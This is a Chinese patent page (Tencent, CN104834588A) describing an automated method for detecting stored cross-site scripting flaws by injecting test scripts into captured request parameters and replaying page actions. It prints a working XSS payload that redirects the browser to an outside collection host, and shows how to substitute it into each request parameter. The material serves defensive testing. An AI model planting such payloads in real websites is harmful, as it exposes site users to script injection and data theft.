CN104834588A - 检测常驻式跨站脚本漏洞的方法和装置 - Google Patents

检测常驻式跨站脚本漏洞的方法和装置 Download PDF

Info

Publication number
CN104834588A
CN104834588A CN201410048080.8A CN201410048080A CN104834588A CN 104834588 A CN104834588 A CN 104834588A CN 201410048080 A CN201410048080 A CN 201410048080A CN 104834588 A CN104834588 A CN 104834588A
Authority
CN
China
Prior art keywords
test script
webpage
script code
test
request
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Granted
Application number
CN201410048080.8A
Other languages
English (en)
Other versions
CN104834588B (zh
Inventor
朱杨军
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Tencent Technology Shenzhen Co Ltd
Tencent Cloud Computing Beijing Co Ltd
Original Assignee
Tencent Technology Shenzhen Co Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Tencent Technology Shenzhen Co Ltd filed Critical Tencent Technology Shenzhen Co Ltd
Priority to CN201410048080.8A priority Critical patent/CN104834588B/zh
Publication of CN104834588A publication Critical patent/CN104834588A/zh
Application granted granted Critical
Publication of CN104834588B publication Critical patent/CN104834588B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Abstract

本发明涉及一种检测常驻式跨站脚本漏洞的方法和装置。所述方法包括以下步骤:接收自动触发操作产生的访问指令;根据所述访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求;接收所述网页应用服务器根据所述访问请求返回的访问响应包;若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,并根据所述测试脚本代码发出漏洞信息。上述检测常驻式跨站脚本漏洞的方法和装置,通过接收自动触发操作产生的访问指令,该访问响应包中包括的测试脚本代码,则执行测试脚本代码,发出漏洞信息,实现网页漏洞的自动化检测,不需人工频繁点击触发网页中的控件,节省时间,提高了检测效率。

Description

检测常驻式跨站脚本漏洞的方法和装置
技术领域
本发明涉及计算机安全技术领域,特别是涉及一种检测常驻式跨站脚本漏洞的方法和装置。
背景技术
跨站脚本(Cross Site Scripting,简称XSS或CSS)漏洞是一种经常出现在网页中的计算机安全漏洞,它允许恶意攻击者向网页里插入恶意代码,当用户浏览该网页时,嵌入其中的恶意代码会被触发,从而达到恶意用户的特殊目的,比如盗取个人信息等。常驻式跨站脚本漏洞是跨站脚本漏洞的一种,它允许将恶意代码存储在网页应用服务器中,当用户访问该网页应用服务器的网页时,该网页会从网页应用服务器拉取恶意代码并执行,危害极大。
然而,传统的检测常驻式跨站脚本漏洞的方法,对业务的网页功能全部浏览一次,需要人工点击每一步操作,比如点击页面下一页按钮100次,则需要人工操作鼠标或键盘100次,需要消耗大量的人工时间,检测效率低下。
发明内容
基于此,有必要针对传统的检测常驻式跨站脚本漏洞需要人工点击操作浪费大量时间,检测效率低下的问题,提供一种能提高检测效率的检测常驻式跨站脚本漏洞的方法和装置。
一种检测常驻式跨站脚本漏洞的方法,包括以下步骤:
接收自动触发操作产生的访问指令;
根据所述访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求;
接收所述网页应用服务器根据所述访问请求返回的访问响应包;
若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,并根据所述测试脚本代码发出漏洞信息。
一种检测常驻式跨站脚本漏洞的装置,包括:
指令接收模块,用于接收自动触发操作产生的访问指令;
访问请求模块,用于根据所述访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求;
响应包接收模块,用于接收所述网页应用服务器根据所述访问请求返回的访问响应包;
脚本执行模块,用于若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,并根据所述测试脚本代码发出漏洞信息。
上述检测常驻式跨站脚本漏洞的方法和装置,通过接收自动触发操作产生的访问指令,并根据该访问指令进行访问预先注入测试脚本代码的网页,并接收返回的访问响应包,该访问响应包中包括的测试脚本代码,则执行测试脚本代码,发出漏洞信息,实现网页漏洞的自动化检测,不需人工频繁点击触发网页中的控件,节省时间,提高了检测效率。
附图说明
图1为一个实施例中检测常驻式跨站脚本漏洞的方法的流程图;
图2为另一个实施例中检测常驻式跨站脚本漏洞的方法的流程图;
图3为一个实施例中生成测试请求包的流程图;
图4为一个具体应用场景中实现检测常驻式跨站脚本漏洞的方法的框图;
图5为另一个具体应用场景中实现检测常驻式跨站脚本漏洞的方法的框图;
图6为一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图;
图7为另一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图;
图8为另一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图;
图9为能实现本发明实施例的一个计算机系统1000的模块图。
具体实施方式
为了使本发明的目的、技术方案及优点更加清楚明白,以下结合附图及实施例,对本发明进行进一步详细说明。应当理解,此处所描述的具体实施例仅仅用以解释本发明,并不用于限定本发明。
除非上下文另有特定清楚的描述,本发明中的元件和组件,数量既可以单个的形式存在,也可以多个的形式存在,本发明并不对此进行限定。本发明中的步骤虽然用标号进行了排列,但并不用于限定步骤的先后次序,除非明确说明了步骤的次序或者某步骤的执行需要其他步骤作为基础,否则步骤的相对次序是可以调整的。可以理解,本文中所使用的术语“和/或”涉及且涵盖相关联的所列项目中的一者或一者以上的任何和所有可能的组合。
图1为一个实施例中检测常驻式跨站脚本漏洞的方法的流程图。该检测常驻式跨站脚本漏洞的方法,包括以下步骤:
步骤102,接收自动触发操作产生的访问指令。
本实施例中,步骤102包括:接收通过预先制作的自动触发器自动触发操作产生的访问指令。
在一个实施例中,在步骤102之前,该检测常驻式跨站脚本漏洞的方法还包括:预先制作自动触发器。
可以理解的是,在一个实施例中,预先制作自动触发器的步骤包括:通过功能自动化工具录制打开网页及触发操作生成脚本,对该录制的脚本进行编辑制作自动触发器。
具体的,功能自动化工具可为QTP(Quick Test Professional)或Selenium等。本实施例中,采用QTP工具制作自动触发器,具体过程为:使用QTP工具录制打开网页及触发操作,并保存录制内容,然后使用关键字视图或专家视图对录制的脚本进行编辑制作自动触发器。通过QTP制作的自动触发器循环点击网页中触发控件(如“下一页”按钮)预定次数(如100次或50次等)。关键字视图可比较直观地展示每一步做了什么样的操作,一般由对象加操作加参数组成。专家视图展示的是和关键字视图等效的VBS(Microsoft Visual Basic Script)代码。此外,若网页需要登录,可通过触发网页中的登录控件实现登录,并录制,登录成功后,再进行触发“下一页”按钮的操作。
可以理解的是,在另一个实施例中,该预先制作自动触发器的步骤包括:打开网页,根据该网页中触发控件的标识获取对应的脚本,对该脚本进行编辑制作自动触发器。
具体的,采用WebKit引擎,使用phantomjs编写代码打开网页,然后根据网页中触发控件的标识(ID号,Identity),获取对应的脚本,对脚本进行编辑制作自动触发器。
步骤104,根据该访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求。
具体的,终端通过网页的URL(Uniform Resource Locator,统一资源定位符)向该URL对应的网页应用服务器发送访问请求。可在终端的浏览器中直接输入URL或者通过点击另一个网页的链接从而触发向网页应用服务器发送访问请求。当有多个网页时,可预先在文本文件或数据库中存储各个网页的URL,检测漏洞时,从文本文件或数据库中逐个读取各个网页的URL,从而向各个网页对应的网页应用服务器发送访问请求,以实现自动化检测常驻式跨站脚本漏洞。
经过注入测试脚本代码处理的网页可以是网站中的一个页面,也可以是基于网页的网络应用的一个页面。注入测试脚本代码的网页可能对其中的一些参数不进行转义处理,若网页应用服务器对测试脚本代码不进行转义处理,直接将测试脚本代码存储下来,说明存在常驻式跨站脚本漏洞。若网页应用服务器将测试脚本代码转义为文本信息,终端在接收到该文本信息后,终端上的浏览器在处理该文本信息时只是将其作为文本处理,不会导致测试脚本代码被执行。
其中,转义是指将HTML(Hypertext Markup Language,超文本标记语言)代码中的特定字符转化为转义字符串(Escape Sequence)的过程,这些特定字符中的一些字符在HTML代码中有特殊的含义,比如“<”和“>”用来表示标签,当这些特定字符不是用来表示标签而是字符本身时,就需要将该特定字符转义为转义字符串。网页应用服务器将转义字符串发送给浏览器后,浏览器处理时将转义字符串显示为特定字符本身。转义字符串分成三部分:第一部分是一个&符号(Ampersand);第二部分是实体(Entity)名字或者是#加上实体编号;第三部分是一个分号。比如,要显示小于号“<”,转义字符串为“&lt;”或者“&#60;”。
步骤106,接收该网页应用服务器根据该访问请求返回的访问响应包。
网页应用服务器接收到终端发送的访问请求后,向终端返回访问响应包。若该网页中用到已存储的测试脚本代码或将测试脚本代码转义后得到的文本信息,则访问响应包中会包含该测试脚本代码或者该文本信息。
步骤108,若该访问响应包中包含该测试脚本代码,则执行该测试脚本代码,并根据该测试脚本代码发出漏洞信息。
若访问响应包中包含测试脚本代码,说明网页应用服务器存储测试脚本代码时未对测试脚本代码进行转义处理,说明网页存在常驻式跨站脚本漏洞,则执行该测试脚本代码,根据该测试脚本代码发出漏洞信息。比如测试脚本代码执行时,弹出消息框,在消息框中显示“发现XSS漏洞”的消息,从而发出漏洞信息。
若访问响应包中包含将测试脚本代码转义后获得的文本信息,说明不存在常驻式跨站脚本漏洞,而且文本信息也不会作为脚本执行,则不会发出漏洞信息。
举例说明,若测试脚本代码为:
<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>
若网页应用服务器将该测试脚本代码进行转义处理,转义为文本信息:
<img src=#onerror=eval(&#39;window.location=\&#39;http://att.isd.com/x.php\&#39;&#39;)>
其中,“<”转义为“&lt;”,“'”转义为“&#39;”,“>”转义为“&gt;”。终端收到该文本信息后,会直接按照文本进行处理,如在网页中显示该文本信息本身“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”,而不会将该文本信息作为测试脚本代码执行。
在一个实施例中,漏洞信息包括存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页应用服务器地址中的至少一种。
其中,存在漏洞的网页的标识可以是存在漏洞的网页的URL,从而可将漏洞定位到具体的网页。漏洞信息发送端的标识可以是发出漏洞信息的终端的IP地址。检测到漏洞的浏览器标识可以是浏览器的名称、类型等,各个浏览器在显示网页时会有差别,获知浏览器标识有助于确定漏洞发生的原因。存在漏洞的网页应用服务器地址可以是该网页应用服务器的IP地址或域名等。
本实施例中,通过漏洞信息中的存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页应用服务器地址中的至少一种,可以对跨站脚本漏洞进行定位,便于开发人员对网页进行改进,消除常驻式跨站脚本漏洞。
上述检测常驻式跨站脚本漏洞的方法,通过接收自动触发操作产生的访问指令,并根据该访问指令进行访问预先注入测试脚本代码的网页,并接收返回的访问响应包,该访问响应包中包括的测试脚本代码,则执行测试脚本代码,发出漏洞信息,实现网页漏洞的自动化检测,不需人工频繁点击触发网页中的控件,节省时间,提高了检测效率。
图2为另一个实施例中检测常驻式跨站脚本漏洞的方法的流程图。如图2所示,该检测常驻式跨站脚本漏洞的方法,包括:
步骤202,将测试脚本代码注入到网页中。
具体的,向网页应用服务器发送包含测试脚本代码的测试请求包,以使该测试脚本代码在该网页应用服务器上对应网页存储。终端向网页应用服务器发送测试请求包,从而使得网页应用服务器在使用CGI(Common GatewayInterface,公共网关接口)程序处理测试请求包时,将测试脚本代码与网页对应存储。其中,测试脚本代码用于执行时发出漏洞信息。
步骤204,接收自动触发操作产生的访问指令。
步骤206,根据该访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求。
步骤208,接收该网页应用服务器根据该访问请求返回的访问响应包。
步骤210,若该访问响应包中包含该测试脚本代码,则执行该测试脚本代码,并根据该测试脚本代码发出漏洞信息。
上述检测常驻式跨站脚本漏洞的方法,通过接收自动触发操作产生的访问指令,并根据该访问指令进行访问预先注入测试脚本代码的网页,并接收返回的访问响应包,该访问响应包中包括的测试脚本代码,则执行测试脚本代码,发出漏洞信息,实现网页漏洞的自动化检测,不需人工频繁点击触发网页中的控件,节省时间,提高了检测效率。
图3为一个实施例中生成测试请求包的流程图。如图3所示,在该向网页应用服务器发送包含测试脚本代码的测试请求包,以使该测试脚本代码在该网页应用服务器上对应网页存储之前,该检测常驻式跨站脚本漏洞的方法还包括生成测试请求包,具体包括:
步骤302,获取网页发送给网页应用服务器的原始请求包。
可通过监听网页与网页应用服务器的通信获取网页发送给网页应用服务器的原始请求包。也可以预先在网页应用服务器上监听CGI的数据收发从而获取到原始请求包后,存储在终端中。举例说明,获取的一个原始请求包内容如下:
“POST http://xxxx.xxxx.xx.com/proxy HTTP/1.1
Host:xxxx.xxxx.xx.com
Connection:keep-alive
Content-Length:245
X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=1691498332
Origin:http://xxxx.xxxx.xx.com
User-Agent:Mozilla/5.0(Windows NT6.2;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/30.0.1573.2Safari/537.36
Content-Type:application/x-www-form-urlencoded;charset=UTF-8
Accept:*/*
Referer:http://xxxx.xxxx.xx.com/123456789
Accept-Encoding:gzip,deflate,sdch
Avail-Dictionary:XprLfaXG
Accept-Language:zh-CN,zh;q=0.8
Cookie:randomSeed=339954;
syn_tweet_verson=1&pic_template=&richtype=&richval=&special_url=&subrichtype=&who=1&con=test222&feedversion=1&ver=1&ugc_right=1&to_tweet=0&to_sign=0&hostuin=123456789&code_version=1&format=fs&qzreferrer=http%3A%2F%2Fxxxx.xxxx.xx.com%2F123456789”。
步骤304,检测该原始请求包,确定该原始请求包中的参数。
在原始请求包中,部分参数具有固定格式,比如“参数名=参数”,从而可以通过这种固定格式确定原始请求包中的部分参数。还可以根据先验知识通过在原始请求包中查找一些字段来确定参数,比如Referer(Referer是HTTP(hypertext transport protocol,超文本传送协议)协议中头信息中的一部分,当浏览器向网页应用服务器发送请求的时候,一般会带上Referer,告诉网页应用服务器请求是从哪个页面链接过来的)字段。
举例说明,以下在原始请求包的基础上,对原始请求包中的参数进行了标注,其中每一对§符号之间的字符串为确定的参数,比如参数可以为“UTF-8”、“123456789”等。
“POST http://xxxx.xxxx.xx.com/proxy HTTP/1.1
Host:xxxx.xxxx.xx.com
Connection:keep-alive
Content-Length:245
X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=§1691498332§
Origin:http://xxxx.xxxx.xx.com
User-Agent:Mozilla/5.0(Windows NT6.2;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/30.0.1573.2Safari/537.36
Content-Type:application/x-www-form-urlencoded;charset=§UTF-8§
Accept:*/*
Referer:§http://xxxx.xxxx.xx.com/123456789§
Accept-Encoding:gzip,deflate,sdch
Avail-Dictionary:XprLfaXG
Accept-Language:zh-CN,zh;q=§0.8§
Cookie:randomSeed=§339954;§
syn_tweet_verson=§1§&pic_template=§§&richtype=§§&richval=§§&special_url=§§&subrichtype=§§&who=§1§&con=§test222§&feedversion=§1§&ver=§1§&ugc_right=§1§&to_tweet=§0§&to_sign=§0§&hostuin=§123456789§&code_version=§1§&format=§fs§&qzreferrer=§http%3A%2F%2Fxxxx.xxxx.xx.com%2F123456789§”
步骤306,用该测试脚本代码替换该原始请求包中的该参数,获得测试请求包。
确定了参数后,用测试脚本代码替换原始请求包中的参数,从而获得测试请求包。例如,用测试脚本代码“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”替换“X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=1691498332”中的“1691498332”,从而在获得的测试请求包包括“X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”。
本实施例中,通过获取原始请求包,确定原始请求包中的参数,进而使用测试脚本代码替换原始请求包中的参数,获得测试请求包,可实现自动构造测试请求包,提高检测漏洞的效率。
在一个实施例中,步骤306包括:用测试脚本代码逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包。
当测试脚本代码为多个时,可将多个测试脚本代码存储在本地文件或本地数据库中,比如每行存储一个测试脚本代码。然后逐个从本地文件或本地数据库中取出测试脚本代码,用取出的测试脚本代码替换同一参数;当所有测试脚本代码替换完毕后,再逐个从本地文件或本地数据库中取出测试脚本代码替换下一个参数,直至替换完所有参数。
本实施例中,由于替换原始请求包中的参数可能导致生成的测试请求包无法通过网页应用服务器的验证,从而导致测试脚本代码无法存储在网页应用服务器上,若一个测试请求包中包含多个替换了参数的测试脚本代码,则该测试请求包无法通过网页应用服务器的验证的可能性很大。相反,逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包,可以提高测试请求包通过验证的可能。而且得到对应每个参数的多个测试请求包有助于确定具体哪个参数会导致常驻式跨站脚本漏洞。
在一个实施例中,执行测试脚本代码,根据测试脚本代码发出漏洞信息的步骤包括:执行测试脚本代码,得到测试服务器的地址标识;根据测试服务器的地址标识向测试服务器发送漏洞信息。
具体的,测试服务器的地址标识可以是测试服务器的URL或IP地址。测试脚本代码中可以包含测试服务器的地址标识,从而在执行测试脚本代码时,从测试脚本代码中得到测试服务器的地址标识,也可通过执行测试脚本代码,从本地或通过网络获取测试服务器的地址标识。测试服务器接收到漏洞信息后也可以向终端返回响应代码,终端通过该响应代码进行后续的动作,比如生成漏洞检测日志并存储。
举例说明,若测试脚本代码为“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”,执行该测试脚本代码时,由于src指向的源不存在,则加载图片出错,导致触发onerror事件(onerror事件会在文档或图像加载过程中发生错误时被触发),得到测试服务器的地址标识为“http://att.isd.com”,且测试服务器上存在预设资源“x.php”。通过访问测试服务器的预设资源“x.php”,向测试服务器发送访问预设资源“x.php”的请求包,该请求包中就包含漏洞信息。
具体地,漏洞信息中的存在漏洞的网页的标识可以通过请求包中的Referer字段获得;漏洞信息发送端的标识可以通过请求包中的RemoteAddress(远程地址)字段获得;检测到漏洞的浏览器标识可以通过请求包中的UserAgent(用户代理,用来检查浏览页面的访问者在用什么操作系统(包括版本号)、浏览器(包括版本号)和用户个人偏好)字段获得。
在一个实施例中,测试服务器收到漏洞信息后,将漏洞信息存储在测试服务器的预设文本或预设数据库中,对漏洞信息进行汇总。测试服务器还可以通过邮件或短消息等将漏洞信息发送给预设的联系人。
本实施例中,终端执行测试脚本代码,得到测试服务器的地址标识后,根据得到的测试服务器的地址标识向测试服务器发送漏洞信息,可实现对漏洞信息的统一管理。还可以通过多个终端对多个网页进行漏洞检测,各个终端发现常驻式跨站脚本漏洞后统一将漏洞信息发送到测试服务器,从而使得开发人员能够通过测试服务器获知各个终端上测试的网页是否存在漏洞,提高了检测常驻式跨站脚本漏洞的效率,节省了人力,从而节约了开发成本。
图4为一个具体应用场景中实现检测常驻式跨站脚本漏洞的方法的框图。该应用场景中终端402上安装测试脚本代码注入工具402a、功能自动化工具402b和网页应用客户端(浏览器)402c。如图4所示,具体过程如下:
(1)终端402获取网页发送给网页应用服务器404的原始请求包,终端402上的测试脚本代码注入工具402a用测试脚本代码替换原始请求包中的参数,获得测试请求包,然后终端402向网页应用服务器404发送包含测试脚本代码的测试请求包。
(2)网页应用服务器404接收到测试请求包后,对测试请求包进行处理,将测试脚本代码存储,则说明网页存在常驻式跨站脚本漏洞;若网页应用服务器404对测试脚本进行转义处理,将转义得到的文本信息存储,则网页不存在常驻式跨站脚本漏洞。
(3)终端402上的功能自动化工具402b录制网页应用客户端402c打开网页及触发操作生成脚本,并对脚本进行编辑制作自动触发器,通过自动触发器触发通过网页应用客户端402c打开的上述经过注入测试脚本代码处理的网页,网页应用客户端402c向网页应用服务器404发送访问该网页请求。
(4)网页应用服务器404根据该访问请求返回访问响应包。如果网页中用到测试脚本代码或转义后的文本信息,则访问响应包中会包含测试脚本代码或文本信息。
(5)终端402上的网页应用客户端402c接收到访问响应包后,若访问响应包中包含测试脚本代码,则执行该测试脚本代码,并向测试服务器406发送漏洞信息,说明网页存在漏洞。若访问响应包中包含文本信息,则将文本信息当作文本进行处理,不会向测试服务器406发送漏洞信息。
(6)测试服务器406接收到终端402的网页应用客户端402c发送的漏洞信息后,将漏洞信息存储在测试服务器406上,并向预设的联系人发送邮件,告知发现常驻式跨站脚本漏洞。
图5为另一个具体应用场景中实现检测常驻式跨站脚本漏洞的方法的框图。该应用场景中终端502上安装测试脚本代码注入工具502a和webkit(浏览器引擎)502b。如图5所示,具体过程如下:
(1)终端502获取网页发送给网页应用服务器504的原始请求包,终端502上的测试脚本代码注入工具502a用测试脚本代码替换原始请求包中的参数,获得测试请求包,然后终端502向网页应用服务器504发送包含测试脚本代码的测试请求包。
(2)网页应用服务器504接收到测试请求包后,对测试请求包进行处理,将测试脚本代码存储,则说明网页存在常驻式跨站脚本漏洞;若网页应用服务器504对测试脚本进行转义处理,将转义得到的文本信息存储,则网页不存在常驻式跨站脚本漏洞。
(3)终端502上的webkit502b使用phantomjs编写代码打开网页,然后根据网页中触发控件的标识,获取对应的脚本,对脚本进行编辑制作自动触发器,通过自动触发器触发打开的上述经过注入测试脚本代码处理的网页,webkit502b向网页应用服务器504发送访问该网页请求。
(4)网页应用服务器504根据该访问请求返回访问响应包。如果网页中用到测试脚本代码或转义后的文本信息,则访问响应包中会包含测试脚本代码或文本信息。
(5)终端502上的webkit502b接收到访问响应包后,若访问响应包中包含测试脚本代码,则执行该测试脚本代码,并向测试服务器506发送漏洞信息,说明网页存在漏洞。若访问响应包中包含文本信息,则将文本信息当作文本进行处理,不会向测试服务器506发送漏洞信息。
(6)测试服务器506接收到终端502的webkit502b发送的漏洞信息后,将漏洞信息存储在测试服务器506上,并向预设的联系人发送邮件,告知发现常驻式跨站脚本漏洞。
图6为一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图。该检测常驻式跨站脚本漏洞的装置,包括指令接收模块620、访问请求模块640、响应包接收模块660和脚本执行模块680。
指令接收模块620用于接收自动触发操作产生的访问指令。
具体的,该指令接收模块620还用于接收通过预先制作的自动触发器自动触发操作产生的访问指令。
访问请求模块640用于根据该访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求。
响应包接收模块660用于接收该网页应用服务器根据该访问请求返回的访问响应包。
脚本执行模块680用于若该访问响应包中包含该测试脚本代码,则执行该测试脚本代码,并根据该测试脚本代码发出漏洞信息。
上述检测常驻式跨站脚本漏洞的装置,通过接收自动触发操作产生的访问指令,并根据该访问指令进行访问预先注入测试脚本代码的网页,并接收返回的访问响应包,该访问响应包中包括的测试脚本代码,则执行测试脚本代码,发出漏洞信息,实现网页漏洞的自动化检测,不需人工频繁点击触发网页中的控件,节省时间,提高了检测效率。
图7为另一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图。该检测常驻式跨站脚本漏洞的装置,除了包括指令接收模块620、访问请求模块640、响应包接收模块660和脚本执行模块680,还包括预制模块610和注入模块612。
预制模块610用于在该接收自动触发操作产生的访问指令之前,预先制作自动触发器。
该预制模块610还用于通过功能自动化工具录制打开网页及触发操作生成脚本,对该录制的脚本进行编辑制作自动触发器。具体的,功能自动化工具可为QTP或Selenium等。
可以理解的是,在一个实施例中,该预制模块610还用于打开网页,根据该网页中触发控件的标识获取对应的脚本,对该脚本进行编辑制作自动触发器。
注入模块612用于在该接收自动触发操作产生的访问指令之前,将测试脚本代码注入到网页中。
具体的,该注入模块612还用于向网页应用服务器发送包含测试脚本代码的测试请求包,以使该测试脚本代码在该网页应用服务器上对应网页存储。
图8为另一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图。该检测常驻式跨站脚本漏洞的装置,除了包括指令接收模块620、访问请求模块640、响应包接收模块660、脚本执行模块680、预制模块610和注入模块612,还包括原始请求包获取模块602、参数确定模块604和测试请求包生成模块606。其中:
原始请求包获取模块602用于获取网页发送给网页应用服务器的原始请求包。
参数确定模块604用于检测该原始请求包,确定该原始请求包中的参数。
测试请求包生成模块606用于用该测试脚本代码替换该原始请求包中的该参数,获得测试请求包。
本实施例中,原始请求包获取模块602用于获取原始请求包,参数确定模块604用于确定原始请求包中的参数,测试请求包生成模块606用于使用测试脚本代码替换原始请求包中的参数,获得测试请求包,可实现自动构造测试请求包,提高检测漏洞的效率。
在一个实施例中,测试请求包生成模块606还用于用测试脚本代码逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包。
当测试脚本代码为多个时,可将多个测试脚本代码存储在本地文件或本地数据库中,比如每行存储一个测试脚本代码。然后测试请求包生成模块606用于从本地文件或本地数据库中逐个取出测试脚本代码,用取出的测试脚本代码替换同一参数;当所有测试脚本代码替换完毕后,再逐个从本地文件或本地数据库中取出测试脚本代码替换下一个参数,直至替换完所有参数。
本实施例中,由于测试请求包生成模块606用于替换原始请求包中的参数可能导致生成的测试请求包无法通过网页应用服务器的验证,从而导致测试脚本代码无法存储在网页应用服务器上,若一个测试请求包中包含多个替换了参数的测试脚本代码,则该测试请求包无法通过网页应用服务器的验证的可能性很大。相反,逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包,可以提高测试请求包通过验证的可能。而且得到对应每个参数的多个测试请求包有助于确定具体哪个参数会导致常驻式跨站脚本漏洞。
在一个实施例中,脚本执行模块680用于执行测试脚本代码,得到测试服务器的地址标识,以及根据测试服务器的地址标识向测试服务器发送漏洞信息。
具体的,测试服务器的地址标识可以是测试服务器的URL或IP地址。测试脚本代码中可以包含测试服务器的地址标识,从而在执行测试脚本代码时,从测试脚本代码中得到测试服务器的地址标识,也可通过执行测试脚本代码,从本地或通过网络获取测试服务器的地址标识。
图9为能实现本发明实施例的一个计算机系统1000的模块图。该计算机系统1000只是一个适用于本发明的计算机环境的示例,不能认为是提出了对本发明的使用范围的任何限制。计算机系统1000也不能解释为需要依赖于或具有图示的示例性的计算机系统1000中的一个或多个部件的组合。
图9中示出的计算机系统1000是一个适合用于本发明的计算机系统的例子。具有不同子系统配置的其它架构也可以使用。例如有大众所熟知的台式机、笔记本、个人数字助理、智能电话、平板电脑等类似设备可以适用于本发明的一些实施例。但不限于以上所列举的设备。
如图9所示,计算机系统1000包括处理器1010、存储器1020和系统总线1022。包括存储器1020和处理器1010在内的各种系统组件连接到系统总线1022上。处理器1010是一个用来通过计算机系统中基本的算术和逻辑运算来执行计算机程序指令的硬件。存储器1020是一个用于临时或永久性存储计算程序或数据(例如,程序状态信息)的物理设备。系统总线1020可以为以下几种类型的总线结构中的任意一种,包括存储器总线或存储控制器、外设总线和局部总线。处理器1010和存储器1020可以通过系统总线1022进行数据通信。其中存储器1020包括只读存储器(ROM)或闪存(图中都未示出),以及随机存取存储器(RAM),RAM通常是指加载了操作系统和应用程序的主存储器。
计算机系统1000还包括显示接口1030(例如,图形处理单元)、显示设备1040(例如,液晶显示器)、音频接口1050(例如,声卡)以及音频设备1060(例如,扬声器)。显示设备1040和音频设备1060是用于体验多媒体内容的媒体设备。
计算机系统1000一般包括一个存储设备1070。存储设备1070可以从多种计算机可读介质中选择,计算机可读介质是指可以通过计算机系统1000访问的任何可利用的介质,包括移动的和固定的两种介质。例如,计算机可读介质包括但不限于,闪速存储器(微型SD卡),CD-ROM,数字通用光盘(DVD)或其它光盘存储、磁带盒、磁带、磁盘存储或其它磁存储设备,或者可用于存储所需信息并可由计算机系统1000访问的任何其它介质。
计算机系统1000还包括输入装置1080和输入接口1090(例如,IO控制器)。用户可以通过输入装置1080,如键盘、鼠标、显示装置1040上的触摸面板设备,输入指令和信息到计算机系统1000中。输入装置1080通常是通过输入接口1090连接到系统总线1022上的,但也可以通过其它接口或总线结构相连接,如通用串行总线(USB)。
计算机系统1000可在网络环境中与一个或者多个网络设备进行逻辑连接。网络设备可以是个人电脑、服务器、路由器、智能电话、平板电脑或者其它公共网络节点。计算机系统1000通过局域网(LAN)接口1100或者移动通信单元1110与网络设备相连接。局域网(LAN)是指在有限区域内,例如家庭、学校、计算机实验室、或者使用网络媒体的办公楼,互联组成的计算机网络。WiFi和双绞线布线以太网是最常用的构建局域网的两种技术。WiFi是一种能使计算机系统1000间交换数据或通过无线电波连接到无线网络的技术。移动通信单元1110能在一个广阔的地理区域内移动的同时通过无线电通信线路接听和拨打电话。除了通话以外,移动通信单元1110也支持在提供移动数据服务的2G,3G或4G蜂窝通信系统中进行互联网访问。
应当指出的是,其它包括比计算机系统1000更多或更少的子系统的计算机系统也能适用于发明。例如,计算机系统1000可以包括能在短距离内交换数据的蓝牙单元,用于照相的图像传感器,以及用于测量加速度的加速计。
如上面详细描述的,适用于本发明的计算机系统1000能执行检测常驻式跨站脚本漏洞的方法的指定操作。计算机系统1000通过处理器1010运行在计算机可读介质中的软件指令的形式来执行这些操作。这些软件指令可以从存储设备1070或者通过局域网接口1100从另一设备读入到存储器1020中。存储在存储器1020中的软件指令使得处理器1010执行上述的检测常驻式跨站脚本漏洞的方法。此外,通过硬件电路或者硬件电路结合软件指令也能同样实现本发明。因此,实现本发明并不限于任何特定硬件电路和软件的组合。
以上所述实施例仅表达了本发明的几种实施方式,其描述较为具体和详细,但并不能因此而理解为对本发明专利范围的限制。应当指出的是,对于本领域的普通技术人员来说,在不脱离本发明构思的前提下,还可以做出若干变形和改进,这些都属于本发明的保护范围。因此,本发明专利的保护范围应以所附权利要求为准。

Claims (16)

1.一种检测常驻式跨站脚本漏洞的方法,包括以下步骤:
接收自动触发操作产生的访问指令;
根据所述访问指令向网页应用服务器发送对预先经过注入测试脚本代码处理的网页的访问请求;
接收所述网页应用服务器根据所述访问请求返回的访问响应包;
若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,并根据所述测试脚本代码发出漏洞信息。
2.根据权利要求1所述的方法,其特征在于,所述接收自动触发操作产生的访问指令的步骤包括:
接收通过预先制作的自动触发器自动触发操作产生的访问指令。
3.根据权利要求1所述的方法,其特征在于,在所述接收自动触发操作产生的访问指令之前,所述方法还包括:
